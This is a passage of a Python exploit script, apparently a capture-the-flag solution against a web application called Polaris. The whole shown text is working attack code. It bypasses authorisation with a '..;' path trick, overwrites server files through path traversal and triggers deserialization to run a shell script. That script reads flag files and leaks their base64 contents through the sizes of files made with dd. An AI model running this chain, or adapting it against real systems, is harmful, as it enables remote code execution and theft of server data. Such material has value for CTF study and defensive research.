        if "success|user" not in r.text:
            raise ExploitError(f"login failed: {r.text}")
        print(f"[*] session ready with user={u}")

    def upload_bytes(self, name: str, data: bytes) -> int:
        files = {"file1": (name, data, "application/octet-stream")}
        form = {
            "maxSize": "10485760",
            "forbiddenExtensions": "jsp,jspx,asp,aspx,php,exe,sh,bat,cmd",
            "isEncrypt": "true",
        }
        r = self.request("POST", "/user/..;x=/fileUpload?method=upload", data=form, files=files)
        if "error|" in r.text:
            raise ExploitError(f"upload failed: {r.text}")
        fid = parse_upload_id(r.text)
        print(f"[*] upload {name} -> {fid}")
        return fid

    def parse_service(self, source_id: int) -> int:
        r = self.request(
            "POST",
            "/user/..;x=/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=parseService",
            data={"args": f"[1,{source_id}]"},
        )
        txt = r.text.strip()
        if not re.fullmatch(r"-?\d+", txt):
            raise ExploitError(f"parseService failed: {txt}")
        slot = int(txt)
        print(f"[*] parseService {source_id} -> {slot}")
        return slot

    def create_slot(self, seed: bytes) -> int:
        sid = self.upload_bytes("seed.txt", seed)
        return self.parse_service(sid)

    def overwrite_slot(self, source_upload_id: int, target_slot: int) -> None:
        rel = f"..%2F..%2Fuploads%2F{target_slot}_parsed"
        file_list = f"{source_upload_id}${rel}"
        r = self.request(
            "POST",
            "/user/..;x=/docController?method=checkIsSign",
            data={"recordId": "0", "fileList": file_list},
        )
        print(f"[*] overwrite slot {target_slot} <- {source_upload_id}, resp={r.text.strip()}")

    def write_slot_plain(self, target_slot: int, plain: bytes, filename: str) -> None:
        sid = self.upload_bytes(filename, plain)
        self.overwrite_slot(sid, target_slot)

    def trigger_slot(self, slot_id: int) -> str:
        r = self.request(
            "POST",
            "/user/..;x=/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=deserializeData",
            data={"args": f"[1,{slot_id}]"},
        )
        print(f"[*] trigger {slot_id}: {r.text.strip()}")
        return r.text

    def file_size(self, file_id: int) -> int:
        r = self.request("GET", f"/user/..;x=/fileUpload/info?method=info&fileId={file_id}")
        try:
            obj = json.loads(r.text)
        except Exception as exc:
            raise ExploitError(f"invalid info json for id={file_id}: {r.text!r}") from exc
        if not obj.get("exists") or not obj.get("success"):
            raise ExploitError(f"file not exists in channel: id={file_id} data={obj}")
        size = obj.get("size")
        if not isinstance(size, int):
            raise ExploitError(f"invalid size field: id={file_id} data={obj}")
        return size

def find_flag(text: str) -> str:
    m = re.search(r"(?i)(flag\{[^}]+\}|xmctf\{[^}]+\}|ctf\{[^}]+\})", text)
    if m:
        return m.group(1)
    raise ExploitError(f"flag format not found in output: {text!r}")

def run(base_url: str) -> str:
    exp = PolarisExploit(base_url)
    exp.register_login()

    script_slot = exp.create_slot(b"script-seed")
    cmd_slot = exp.create_slot(b"cmd-seed")
    print(f"[*] slots: script={script_slot}, cmd={cmd_slot}")

    cmd = f"/bin/sh data/uploads/{script_slot}_parsed"
    payload_file = CACHE_DIR / "payload_cmd.bin"
    payload = build_payload(cmd, payload_file)
    exp.write_slot_plain(cmd_slot, payload, "payload.bin")

    base_id = random.randint(81000000, 81999999)
    len_id = base_id - 1
    script = f"""#!/bin/sh
TARGET=""
for p in /f14g /flag /flag.txt /app/f14g /app/flag /app/flag.txt; do
  if [ -f "$p" ]; then TARGET="$p"; break; fi
done
if [ -z "$TARGET" ]; then TARGET=/f14g; fi
b64=$(base64 "$TARGET" 2>/dev/null | tr -d '\n')
len=${{#b64}}
dd if=/dev/zero of=data/uploads/{len_id} bs=1 count=$len 2>/dev/null
i=0
while [ $i -lt $len ]; do
  ch=$(printf '%s' "$b64" | cut -c $((i+1)))
  asc=$(printf '%s' "$ch" | od -An -tu1 | tr -d ' \n')
  dd if=/dev/zero of=data/uploads/$(({base_id}+i)) bs=1 count=$asc 2>/dev/null
  i=$((i+1))
done
""".encode("ascii")
    exp.write_slot_plain(script_slot, script, "script.txt")

    exp.trigger_slot(cmd_slot)
    time.sleep(3)

    b64_len = exp.file_size(len_id)
    if b64_len <= 0 or b64_len > MAX_B64_LEN:
        raise ExploitError(f"invalid base64 length: {b64_len}")
    print(f"[*] channel length: {b64_len}")

    chars = []
    for idx in range(b64_len):
        chars.append(chr(exp.file_size(base_id + idx)))
    b64_text = "".join(chars)
    print(f"[*] base64: {b64_text}")
    plain = base64.b64decode(b64_text).decode("utf-8", errors="ignore")
    print(f"[*] decoded: {plain}")
    flag = find_flag(plain)
    return flag

def main() -> int:
    target = os.environ.get("TARGET_URL", TARGET_URL).strip()
    if not target:
        print("[-] TARGET_URL is empty")
        return 1
    try:
        flag = run(target)
    except Exception as exc:
        import traceback
        traceback.print_exc()
        print(f"[-] exploit failed: {exc}")
        return 1
    print(f"\n[+] FLAG: {flag}")
    return 0

if __name__ == "__main__":
    sys.exit(main())